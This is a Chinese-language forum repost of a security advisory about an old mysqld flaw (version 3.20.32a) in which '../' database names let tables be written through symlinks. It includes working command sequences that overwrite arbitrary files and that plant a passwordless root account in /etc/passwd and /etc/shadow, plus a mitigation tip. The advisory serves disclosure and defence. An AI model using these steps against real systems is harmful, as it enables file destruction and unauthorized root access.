羊皮纸论坛目录 / 程式设计 / 资料库 / Mysql /

mysqld库文件创建漏洞

发表新主题
随机主题
上个主题
下个主题
|
mysqld库文件创建漏洞

受影响的系统:
mysql-3.20.32a,其它版本可能也存在此问题
描述:
--------------------------------------------------------------------------------

任何可以用合法的使用者名和密码登录进mysql的使用者都可以利用mysqld来发起拒绝服
务攻击或者获得root权限,因为mysql视“../blah-blah”为合法的资料库名。其每
张表格是用3个文件表示的∶tablename.ISD,tablename.ISM和tablename.frm,
但是mysqld在检查表格存在与否的时候仅仅检查tablename.frm。

测试程序∶
--------------------------------------------------------------------------------

警 告: 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1、通过mysqld覆盖任意文件从而导致拒绝服务∶
$ cd /var/tmp
$ ln -s /some/file/you/wish/to/owerwrite qqq.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table qqq(www int);
\q
$
上述例子将覆盖/some/file/you/wish/to/overwrite。

2、通过mysqld获得root权限∶
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\
r00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\
');
insert into make_me_r00t values('\
r00t::1:0:99999:7:-1:-1:\
');
\q
$

--------------------------------------------------------------------------------
建议:

临时解决办法∶

NSFOCUS建议您将mysql资料库文件的属主改为普通使用者,并以该普通使用者的身份运行mysqld。

万商补丁∶ 暂无。

资料来源

  • 关键字 : tablename, table, mysql, make_me_r00t, gotcha, create, varchar, values, somepassword, localhost, insert, 资料来源, 资料库名, 系统, 用3个文件, 测试程序, 此问题, 检查表格存, 暂无, 方法
0 0
2009-01-21T09:16:47+0000


  • 当您未登入羊皮纸时,可以利用脸书 Facebook 登入来发表回响。若使用羊皮纸会员身份发表回响则可获得经验值及虚拟金币,用来参加羊皮纸推出的活动。
发表回响
 
验证字串